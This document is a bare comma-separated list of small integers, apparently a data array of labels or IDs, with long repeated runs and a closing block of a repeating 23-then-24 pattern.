29, 12, 12, 12, 29, 12, 12, 12, 12, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 12, 12, 29, 29, 29, 29, 12, 12, 29, 29, 12, 12, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 12, 12, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 12, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 12, 12, 12, 12, 12, 12, 14, 14, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 12, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 12, 12, 12, 12, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 12, 12, 29, 29, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 12, 29, 29, 29, 29, 29, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 12, 12, 29, 29, 12, 12, 12, 12, 29, 29, 12, 12, 29, 29, 12, 12, 12, 12, 29, 29, 29, 12, 12, 29, 12, 12, 29, 29, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 12, 29, 29, 12, 12, 29, 12, 12, 12, 12, 29, 29, 12, 12, 12, 12, 14, 14, 29, 29, 14, 12, 14, 14, 14, 14, 14, 14, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 14, 14, 14, 12, 12, 12, 12, 29, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 12, 29, 29, 29, 12, 29, 14, 29, 29, 12, 29, 29, 12, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 14, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 29, 29, 29, 29, 14, 12, 14, 14, 14, 29, 14, 14, 29, 29, 29, 14, 14, 29, 29, 14, 29, 29, 14, 14, 14, 12, 29, 12, 12, 12, 12, 29, 29, 14, 29, 29, 29, 29, 29, 29, 14, 14, 14, 14, 14, 29, 14, 14, 14, 14, 29, 29, 14, 14, 14, 14, 14, 14, 14, 14, 12, 12, 12, 14, 14, 14, 14, 14, 14, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 12, 12, 12, 3, 3, 3, 3, 12, 12, 12, 6, 6, 12, 12, 12, 12, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 0, 1, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 29, 29, 29, 29, 29, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 12, 12, 39, 39, 39, 39, 39, 6, 17, 17, 17, 12, 6, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 17, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 17, 17, 17, 17, 17, 17, 17, 17, 12, 17, 0, 17, 12, 12, 3, 3, 12, 12, 3, 3, 0, 1, 0, 1, 0, 1, 0, 1, 17, 17, 17, 17, 6, 12, 17, 17, 12, 17, 17, 12, 12, 12, 12, 12, 19, 19, 39, 39, 39, 39, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 1, 1, 14, 14, 5, 14, 14, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 14, 14, 0, 1, 0, 1, 0, 1, 0, 1, 5, 0, 1, 1, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 21, 21, 21, 21, 21, 21, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 5, 5, 14, 14, 14, 39, 32, 14, 32, 14, 32, 14, 32, 14, 32, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 32, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 32, 14, 32, 14, 32, 14, 14, 14, 14, 14, 14, 32, 14, 14, 14, 14, 14, 14, 32, 32, 39, 39, 21, 21, 5, 5, 5, 5, 14, 5, 32, 14, 32, 14, 32, 14, 32, 14, 32, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 32, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 32, 14, 32, 14, 32, 14, 14, 14, 14, 14, 14, 32, 14, 14, 14, 14, 14, 14, 32, 32, 14, 14, 14, 14, 5, 32, 5, 5, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 29, 29, 29, 29, 29, 29, 29, 29, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 5, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 17, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 17, 6, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 39, 39, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 12, 17, 17, 17, 17, 17, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 12, 12, 12, 21, 12, 12, 12, 12, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 10, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 18, 18, 6, 6, 39, 39, 39, 39, 39, 39, 39, 39, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 17, 17, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 17, 17, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 39, 39, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 12, 12, 12, 12, 12, 12, 17, 17, 17, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 21, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 12, 17, 17, 17, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 17, 17, 12, 12, 12, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 21, 21, 21, 21, 21, 21, 21, 21, 17, 21, 21, 39, 39, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 39, 39, 39, 39, 39, 39, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 